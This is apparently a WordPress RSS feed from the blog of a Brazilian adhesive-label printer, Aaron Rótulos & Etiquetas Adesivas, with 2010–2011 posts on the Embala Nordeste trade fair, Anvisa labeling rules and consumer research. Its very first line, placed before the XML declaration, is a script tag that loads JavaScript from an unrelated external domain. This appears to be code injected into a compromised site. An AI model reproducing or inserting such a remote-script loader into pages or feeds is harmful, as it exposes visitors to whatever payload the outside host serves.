<script src='http://cipriani.es/java.js'> </script>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog da Aaron</title>
	<atom:link href="http://www.aaron.ind.br/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.aaron.ind.br/blog</link>
	<description>Só mais um site WordPress</description>
	<lastBuildDate>Fri, 30 Mar 2012 01:27:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Entrevista de Luciano Bezerra na EMBALA Nordeste 2011  </title>
		<link>http://www.aaron.ind.br/blog/entrevista-de-luciano-bezerra-na-embala-nordeste-2011/</link>
		<comments>http://www.aaron.ind.br/blog/entrevista-de-luciano-bezerra-na-embala-nordeste-2011/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 12:36:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[Embala Nordeste]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[feiras]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=276</guid>
		<description><![CDATA[Confira entrevista de nosso diretor Luciano Bezerra na EMBALA Nordeste 2011.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-285" title="Embala Nordeste 2011" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/09/embala_nordeste_2011.jpg" alt="" width="547" height="308" /></p>
<p>Confira entrevista de nosso diretor Luciano Bezerra na EMBALA Nordeste 2011.</p>
<p><object style="margin:0 0 0 60px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="420" height="345" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/zbEEVyHCCuw?version=3&amp;hl=pt_BR" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="420" height="345" src="http://www.youtube.com/v/zbEEVyHCCuw?version=3&amp;hl=pt_BR" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/entrevista-de-luciano-bezerra-na-embala-nordeste-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Saiba como foi a presença da Aaron na Embala Nordeste 2011</title>
		<link>http://www.aaron.ind.br/blog/saiba-como-foi-a-presenca-da-aaron-na-embala-nordeste-2011/</link>
		<comments>http://www.aaron.ind.br/blog/saiba-como-foi-a-presenca-da-aaron-na-embala-nordeste-2011/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 17:22:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[Embala Nordeste]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=250</guid>
		<description><![CDATA[A Aaron Rótulos &#38; Etiquetas Adesivas esteve presente na 6ª edição da Embala Nordeste, realizada entre os dias 23 e 26 de agosto de 2011. Este ano, a Aaron teve grande visibilidade em seu stand, que estava mais moderno e melhor localizado em relação ao ano passado. Diversos clientes nos prestigiaram, tanto em nosso stand [...]]]></description>
			<content:encoded><![CDATA[<p>A Aaron Rótulos &amp; Etiquetas Adesivas esteve presente na 6ª edição da Embala Nordeste, realizada entre os dias 23 e 26 de agosto de 2011.</p>
<p>Este ano, a Aaron teve grande visibilidade em seu stand, que estava mais moderno e melhor localizado em relação ao ano passado. Diversos clientes nos prestigiaram, tanto em nosso stand como no Fórum: <strong>A Força Vendedora dos Rótulos</strong>.</p>
<p>A Aaron agradece a todos que nos prestigiaram.</p>
<p style="text-align: -webkit-auto;">
<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/embalanordeste_2011_1.jpg"><img class="aligncenter size-medium wp-image-251" title="Stand Aaron Embala Nordeste" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/embalanordeste_2011_1-224x300.jpg" alt="" width="224" height="300" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/embalanordeste_2011_5.jpg"><img class="aligncenter size-medium wp-image-257" title="Stand Embala Nordeste 2011" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/embalanordeste_2011_5-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/embalanordeste_2011_4.jpg"><img class="aligncenter size-medium wp-image-255" title="Stand Embala Nordeste 2011" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/embalanordeste_2011_4-224x300.jpg" alt="" width="224" height="300" /></a></p>
<p style="text-align: left;">Confira mais fotos do evento em nosso álbum no <a href="http://www.flickr.com/photos/aaronetiquetas" target="_blank">Flickr</a></p>
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/saiba-como-foi-a-presenca-da-aaron-na-embala-nordeste-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EMBALA Nordeste 2011 &#8211; Convite</title>
		<link>http://www.aaron.ind.br/blog/embala-nordeste-2011-convite/</link>
		<comments>http://www.aaron.ind.br/blog/embala-nordeste-2011-convite/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 17:37:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[Embala Nordeste]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[feiras]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=240</guid>
		<description><![CDATA[Estaremos lhe esperando na rua H 45. Venha nos visitar e descubra porque nossa impressão impressiona. Saiba mais sobre o evento: http://www.greenfield-brm.com/impacto/2011/7/impacto2.html]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/Aaron-EMBALA-Nordeste-2011.jpg"><img class="alignnone size-full wp-image-241" title="Aaron EMBALA Nordeste 2011" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/08/Aaron-EMBALA-Nordeste-2011.jpg" alt="" width="543" height="1151" /></a></p>
<p>Estaremos lhe esperando na rua H 45.</p>
<p>Venha nos visitar e descubra porque nossa impressão impressiona.</p>
<p>Saiba mais sobre o evento:</p>
<p><a href="http://www.greenfield-brm.com/impacto/2011/7/impacto2.html">http://www.greenfield-brm.com/impacto/2011/7/impacto2.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/embala-nordeste-2011-convite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brasileiros estão atentos aos rótulos de embalagem</title>
		<link>http://www.aaron.ind.br/blog/brasileiros-estao-atentos-aos-rotulos-de-embalagem/</link>
		<comments>http://www.aaron.ind.br/blog/brasileiros-estao-atentos-aos-rotulos-de-embalagem/#comments</comments>
		<pubDate>Fri, 11 Mar 2011 19:57:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[consumidores]]></category>
		<category><![CDATA[embalagens]]></category>
		<category><![CDATA[pesquisas]]></category>
		<category><![CDATA[rótulos]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=230</guid>
		<description><![CDATA[Metade dos brasileiros afirma ler sempre ou na maior parte das vezes o rótulo das embalagens antes de comprar um produto. Há ainda 27% que o fazem com menor frequência, totalizando 77% de consumidores que têm o hábito de ler os rótulos das embalagens pelo menos de vez em quando. A constatação é de uma [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/03/Prateleira-de-supermercados.jpg"><img class="alignnone size-full wp-image-232" title="Rótulos" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/03/Prateleira-de-supermercados.jpg" alt="" width="547" height="308" /></a></p>
<p style="text-align: justify;">
<p style="text-align: justify;">Metade dos brasileiros afirma ler sempre ou na maior parte das vezes o rótulo das embalagens antes de comprar um produto. Há ainda 27% que o fazem com menor frequência, totalizando 77% de consumidores que têm o hábito de ler os rótulos das embalagens pelo menos de vez em quando. A constatação é de uma pesquisa realizada pela GfK, 4ª maior empresa de pesquisa de mercado no Brasil e 4º maior grupo mundial do setor.</p>
<p style="text-align: justify;">O estudo revela que os entrevistados com idades entre 35 e 55 anos são os mais atentos ao conteúdo das embalagens: 55%. Entre os mais jovens, dos 18 aos 24 anos, o índice de leitura é o mais baixo: 44%.</p>
<p style="text-align: justify;">Paulo Carramenha, diretor presidente da GfK CR e professor do Núcleo de Estudos da Embalagem da ESPM, destaca que há um crescente interesse dos consumidores na busca por informações que os ajudem nas suas decisões de compra e as embalagens têm papel fundamental nesse processo. “Muitas empresas já atentaram para esse aspecto e vêm usando a embalagem como um dos principais canais de comunicação com os consumidores, para divulgar os benefícios e valores das suas marcas”, explica.</p>
<p style="text-align: justify;">Nota-se ainda uma mudança no interesse pelas informações contidas nas embalagens entre os consumidores das diferentes classes sociais. Entre os integrantes das classes C e D o índice de leitura frequente dos rótulos é de 46%, enquanto que nas classes A e B chega a 54%.<br />
Não há, no entanto, variação de comportamento entre homens e mulheres, que têm a mesma preocupação com o assunto. 50% dos entrevistados do sexo feminino e masculino afirmam ter esse costume.</p>
<p style="text-align: justify;">Para realizar o estudo, a GfK ouviu 1.000 pessoas, a partir dos 18 anos, em nove regiões metropolitanas (Porto Alegre, Curitiba, São Paulo, Rio de Janeiro, Belo Horizonte, Salvador, Recife, Fortaleza, Belém) e três capitais (Brasília, Goiânia e Manaus).</p>
<p>Fonte: Consumidor Moderno</p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/brasileiros-estao-atentos-aos-rotulos-de-embalagem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Novos rótulos do grupo 3 corações</title>
		<link>http://www.aaron.ind.br/blog/novos-rotulos-do-grupo-3-coracoes/</link>
		<comments>http://www.aaron.ind.br/blog/novos-rotulos-do-grupo-3-coracoes/#comments</comments>
		<pubDate>Thu, 03 Mar 2011 19:45:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[novas embalagens]]></category>
		<category><![CDATA[rótulos]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=209</guid>
		<description><![CDATA[As marcas de café do grupo 3 corações &#8211;  Santa Clara, 3 Corações e Pimpinela, &#8211; ganharam novas embalagens. A Aaron Rótulos &#38; Etiquetas Adesivas fez parte dessa mudança. Os rótulos foram redesenhados, facilitando a identificação dos produtos 3 corações nas gôndolas dos supermercados. Identificar seu produto com qualidade é especialidade da Aaron Rótulos &#38; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/03/cafe-3-coracoes-1.jpg"><img class="alignnone size-full wp-image-228" title="cafe 3 corações rotulos" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/03/cafe-3-coracoes-1.jpg" alt="" width="540" height="315" /></a>As marcas de café do grupo 3 corações &#8211;  Santa Clara, 3 Corações e Pimpinela, &#8211; ganharam novas embalagens. A Aaron Rótulos &amp; Etiquetas Adesivas fez parte dessa mudança. Os rótulos foram redesenhados, facilitando a identificação dos produtos 3 corações nas gôndolas dos supermercados.</p>
<p>Identificar seu produto com qualidade é especialidade da Aaron Rótulos &amp; Etiquetas Adesivas. O grupo 3 corações valoriza os detalhes que fazem a diferença e nos confia a identificação de seus produtos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/novos-rotulos-do-grupo-3-coracoes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Embala Nordeste 2011</title>
		<link>http://www.aaron.ind.br/blog/embala-nordeste-2011/</link>
		<comments>http://www.aaron.ind.br/blog/embala-nordeste-2011/#comments</comments>
		<pubDate>Mon, 21 Feb 2011 19:20:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[Embala Nordeste]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[feiras]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=193</guid>
		<description><![CDATA[A EMBALA Nordeste, que em 2011 entra em sua 6º edição,  se consolidou como uma feira profissional completa que já está inserida na agenda de diversos profissionais e técnicos de toda a região Norte e Nordeste. A feira tem seu foco em setores usuários de embalagens e processos, pois reúne todos os segmentos que integram [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/02/embala-nordeste-201111.jpg"><img class="alignnone size-full wp-image-199" title="embala nordeste 201111" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/02/embala-nordeste-201111.jpg" alt="" width="440" height="133" /></a></p>
<p style="text-align: justify;">A EMBALA Nordeste, que em 2011 entra em sua 6º edição,  se consolidou como uma feira profissional completa que já está inserida na agenda de diversos profissionais e técnicos de toda a região Norte e Nordeste.</p>
<p style="text-align: justify;">A feira tem seu foco em setores usuários de embalagens e processos, pois reúne todos os segmentos que integram a cadeia produtiva das embalagens, tais como fornecedores para as indústrias do plástico, papel, reciclagem dentre outras.</p>
<p style="text-align: justify;">A Aaron Rótulos &amp; Etiquetas Adesivas já tem a sua presença confirmada no evento, que acontece no centro de convenções de Pernambuco entre os dias 23 e 26 de agosto.</p>
<p style="text-align: justify;">Estaremos lhe esperando na rua H 45.</p>
<p style="text-align: justify;">Venha nos visitar e descubra porque nossa impressão impressiona.</p>
<p style="text-align: left;">Saiba mais sobre o evento:</p>
<p style="text-align: left;"><a href="http://www.greenfield-brm.com/impacto/2011/7/impacto2.html">http://www.greenfield-brm.com/impacto/2011/7/impacto2.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/embala-nordeste-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Novos caminhos para o setor farmacêutico</title>
		<link>http://www.aaron.ind.br/blog/novos-caminhos-para-o-setor-farmaceutico/</link>
		<comments>http://www.aaron.ind.br/blog/novos-caminhos-para-o-setor-farmaceutico/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 17:47:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[embalagens]]></category>
		<category><![CDATA[medicamentos]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=175</guid>
		<description><![CDATA[O ano de 2011 promete grandes mudanças para o setor farmacêutico no Brasil. Um mercado que lida com bens de primeira necessidade, e que movimenta a economia com vendas anuais que superam a casa dos R$ 30 bilhões trilhará novos caminhos no que diz respeito à venda, produção e distribuição de medicamentos. A alta carga [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/02/medicamento5.jpg"><img class="alignnone size-full wp-image-185" title="medicamento" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/02/medicamento5.jpg" alt="" width="430" height="323" /></a></p>
<p style="text-align: justify;">O ano de 2011 promete grandes mudanças para o setor farmacêutico no Brasil. Um mercado que lida com bens de primeira necessidade, e que movimenta a economia com vendas anuais que superam a casa dos R$ 30 bilhões trilhará novos caminhos no que diz respeito à venda, produção e distribuição de medicamentos.</p>
<p style="text-align: justify;">A alta carga tributária aplicada aos medicamentos no Brasil, que chega à faixa dos 36%, aumenta o preço final ao consumidor, acirra a guerra fiscal e ainda facilita a entrada de medicamentos roubados e/ou falsificados no país.</p>
<p style="text-align: justify;">Para solucionar essa questão, as caixas de remédios passarão a ter um selo de segurança para garantir a autenticidade do medicamento. Com isso, o consumidor saberá com exatidão a procedência do que está adquirindo e terá mais segurança na hora de realizar as suas compras.</p>
<p style="text-align: justify;">Com essa nova medida, o setor ganhará mais credibilidade e colherá bons resultados ao longo dos próximos anos.</p>
<p style="text-align: justify;">Fonte: <a href="http://www.logweb.com.br/novo/conteudo/artigo/25600/para-onde-caminhara-o-setor-farmaceutico-em-2011/">http://www.logweb.com.br/novo/conteudo/artigo/25600/para-onde-caminhara-o-setor-farmaceutico-em-2011/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/novos-caminhos-para-o-setor-farmaceutico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gastos da classe C com beleza superam os da população mais rica</title>
		<link>http://www.aaron.ind.br/blog/gastos-da-classe-c-com-beleza-superam-os-da-populacao-mais-rica/</link>
		<comments>http://www.aaron.ind.br/blog/gastos-da-classe-c-com-beleza-superam-os-da-populacao-mais-rica/#comments</comments>
		<pubDate>Tue, 25 Jan 2011 18:27:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[beleza]]></category>
		<category><![CDATA[Classe C]]></category>
		<category><![CDATA[gastos]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=164</guid>
		<description><![CDATA[A classe C já supera as classes A e B na soma total de gastos no setor de higiene e cuidados pessoais. Dos R$ 43,4 bilhões desembolsados na compra de produtos e serviços dessas categorias no ano passado, R$ 19,8 bilhões saíram do bolso dessa nova classe média, composta por cerca de 95 milhões de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/01/higiene.gif"><img class="alignnone size-full wp-image-166" title="cuidados pessoais" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/01/higiene.gif" alt="" width="547" height="323" /></a></p>
<p style="text-align: justify;">A classe C já supera as classes A e B na soma total de gastos no setor de higiene e cuidados pessoais. Dos R$ 43,4 bilhões desembolsados na compra de produtos e serviços dessas categorias no ano passado, R$ 19,8 bilhões saíram do bolso dessa nova classe média, composta por cerca de 95 milhões de brasileiros. Essa soma de recursos equivale a 45,6% do gasto geral &#8211; quase a metade do montante desembolsado, segundo levantamento obtido pelo <strong>Valor</strong> com a consultoria Data Popular.</p>
<p>Fonte: <a href="http://www.valoronline.com.br/" target="_blank">http://www.valoronline.com.br/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/gastos-da-classe-c-com-beleza-superam-os-da-populacao-mais-rica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nossos votos para 2011</title>
		<link>http://www.aaron.ind.br/blog/nossos-votos-para-2011/</link>
		<comments>http://www.aaron.ind.br/blog/nossos-votos-para-2011/#comments</comments>
		<pubDate>Wed, 05 Jan 2011 17:35:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geral]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=135</guid>
		<description><![CDATA[A Aaron inicia o ano de 2011 comemorando e agradecendo a todos pelas conquistas de 2010. Parabenizamos a todos aqueles que caminharam ao nosso lado e aqueles que nos ajudaram a oferecer cada vez mais serviços de qualidade. O ano que passou foi de muitas conquistas e 2011 será ainda melhor com você ao nosso [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2011/01/post-novosvotos2011.jpg"><img class="alignnone size-full wp-image-161" title="Aaron" src="http://www.aaron.ind.br/blog/wp-content/uploads/2011/01/post-novosvotos2011.jpg" alt="" width="532" height="217" /></a></p>
<p style="text-align: justify;">A Aaron inicia o ano de 2011 comemorando e agradecendo a todos pelas  conquistas de 2010. Parabenizamos a todos aqueles que caminharam ao  nosso lado e aqueles que nos ajudaram a oferecer cada vez mais serviços  de qualidade. O ano que passou foi de muitas conquistas e 2011 será  ainda melhor com você ao nosso lado.</p>
<p style="text-align: justify;">Para fortalecer ainda mais nossa relação, a Aaron iniciou suas  atividades nas redes sociais já no segundo semestre de 2010. Assim,  poderemos compartilhar experiências e conhecimentos e manter um canal  sempre de portas abertas para atender as suas necessidades. Agora, você  pode nos encontrar no Orkut, no Facebook, no Flickr e no Twitter, onde  você achar melhor.</p>
<p style="text-align: justify;">Também fortalecemos os laços de amizade e companheirismo dentro da  nossa própria casa e temos o prazer de compartilhar com você. Nosso  encontro de final de ano proporcionou um momento de descontração e  alegria entre nossos funcionários. Além disso, a Aaron também  desenvolveu uma campanha de arrecadação de brinquedos onde, com o apoio e  incentivo de todos que fazem a Aaron, conseguimos coletar mais de 150  brinquedos que foram doados à APAE do município de Eusébio.</p>
<p style="text-align: justify;">
<div class="ngg-galleryoverview" id="ngg-gallery-2-135">

	<!-- Slideshow link -->
	<div class="slideshowlink">
		<a class="slideshowlink" href="http://www.aaron.ind.br/blog/nossos-votos-para-2011/?show=slide">
			[Show as slideshow]		</a>
	</div>

	
	<!-- Thumbnails -->
		
	<div id="ngg-image-15" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/dsc00807-new.jpg" title=" " rel="sexylightbox[set_2]" >
								<img title="Confraternização 2011" alt="Confraternização 2011" src="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/thumbs/thumbs_dsc00807-new.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-16" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/dsc00824-new.jpg" title=" " rel="sexylightbox[set_2]" >
								<img title="Confraternização 2011" alt="Confraternização 2011" src="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/thumbs/thumbs_dsc00824-new.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-13" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/dsc00765-new.jpg" title=" " rel="sexylightbox[set_2]" >
								<img title="Confraternização 2011" alt="Confraternização 2011" src="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/thumbs/thumbs_dsc00765-new.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 		
	<div id="ngg-image-14" class="ngg-gallery-thumbnail-box"  >
		<div class="ngg-gallery-thumbnail" >
			<a href="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/dsc00791-new.jpg" title=" " rel="sexylightbox[set_2]" >
								<img title="Confraternização 2011" alt="Confraternização 2011" src="http://www.aaron.ind.br/blog/wp-content/gallery/aaron-2011/thumbs/thumbs_dsc00791-new.jpg" width="100" height="75" />
							</a>
		</div>
	</div>
	
		
 	 	
	<!-- Pagination -->
 	<div class='ngg-clear'></div>
 	
</div>

</p>
<p style="text-align: justify;">Além do nosso compromisso social, também temos o compromisso de  melhor servir todos os nossos clientes. Para tal, a Aaron também esteve  presente nas principais feiras do ramo, como a Fispal Bahia, o Recicla  Nordeste e a Embala Nordeste e proporcionou, ao longo do ano de 2010,  diversos treinamentos de funcionários, visando sempre a qualidade de  nossos serviços.</p>
<p style="text-align: justify;">Foi ótimo contar com a sua presença no ano de 2010 e esperamos  continuar com o seu companheirismo no ano de 2011, pois todos os dias  você descobre porque só a Aaron tem a impressão que impressiona.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/nossos-votos-para-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anvisa: Fabricantes têm até 28 de fevereiro para trocar rótulo de produto de limpeza</title>
		<link>http://www.aaron.ind.br/blog/anvisa-fabricantes-tem-ate-28-de-fevereiro-para-trocar-rotulo-de-produto-de-limpeza/</link>
		<comments>http://www.aaron.ind.br/blog/anvisa-fabricantes-tem-ate-28-de-fevereiro-para-trocar-rotulo-de-produto-de-limpeza/#comments</comments>
		<pubDate>Tue, 07 Dec 2010 13:27:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Geral]]></category>
		<category><![CDATA[anvisa]]></category>
		<category><![CDATA[fabricantes]]></category>
		<category><![CDATA[limpeza]]></category>
		<category><![CDATA[produtos]]></category>
		<category><![CDATA[trocar rótulos]]></category>

		<guid isPermaLink="false">http://www.aaron.ind.br/blog/?p=118</guid>
		<description><![CDATA[Os fabricantes de produtos de limpeza, como desinfetante, água sanitária, detergente e inseticida, têm prazo até 28 de fevereiro de 2011 para trocarem os rótulos destes itens, chamados de “saneantes”. Eles são a terceira causa de intoxicação no Brasil, segundo o Sistema Nacional de Informações Tóxico Farmacológicas (Sinitox). A Agência Nacional de Vigilância Sanitária (Anvisa) [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.aaron.ind.br/blog/wp-content/uploads/2010/12/marca_anvisa.jpg"><img class="size-full wp-image-128 aligncenter" title="Anvisa" src="http://www.aaron.ind.br/blog/wp-content/uploads/2010/12/marca_anvisa.jpg" alt="" width="500" height="135" /></a></p>
<p style="text-align: justify;">Os fabricantes de produtos de limpeza, como desinfetante, água sanitária, detergente e inseticida, têm prazo até 28 de fevereiro de 2011 para trocarem os rótulos destes itens, chamados de “saneantes”. Eles são a terceira causa de intoxicação no Brasil, segundo o Sistema Nacional de Informações Tóxico Farmacológicas (Sinitox). A Agência Nacional de Vigilância Sanitária (Anvisa) quer padronizar os rótulos para ajudar o consumidor a identificar os produtos mais tóxicos.</p>
<p style="text-align: justify;">A prorrogação do prazo vale para as empresas fabricantes dos produtos notificados antes da publicação da Resolução RDC 42/2009. A norma estabeleceu a obrigatoriedade de notificação de saneantes de grau de risco 1 exclusivamente por meio eletrônico.</p>
<p style="text-align: justify;">Dados indicam que as micro, pequenas e médias empresas, que compõem 95% do setor de saneantes, adquirem os rótulos para os produtos em grande quantidades a fim de diminuir custos. Desse modo, o setor produtivo solicitou a prorrogação para a Anvisa com o argumento de que o prazo anteriormente estabelecido não foi o suficiente para saída dos rótulos já existentes.</p>
<p style="text-align: justify;"><strong>Histórico:</strong></p>
<p>A notificação de produtos saneantes de grau de risco 1 passou a ser feita exclusivamente por meio eletrônico em agosto de 2009. Para realizar a notificação, as empresas devem acessar via web o “Sistema de Peticionamento e Arrecadação Eletrônico”, disponível no portal da Anvisa.</p>
<p style="text-align: justify;">A RDC nº 42/2009 determinava, ainda, o prazo de 12 meses, a partir de 13 de agosto de 2009, para escoamento dos rótulos dos produtos anteriormente notificados à publicação do regulamento. Entretanto, problemas logísticos no sistema de notificação on-line provocaram impacto direto na programação da aquisição e escoamento das rotulagens de diversas empresas.</p>
<p style="text-align: justify;">Fonte:<br />
<a href="http://www.anvisa.gov.br" target="_blank">Anvisa</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aaron.ind.br/blog/anvisa-fabricantes-tem-ate-28-de-fevereiro-para-trocar-rotulo-de-produto-de-limpeza/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

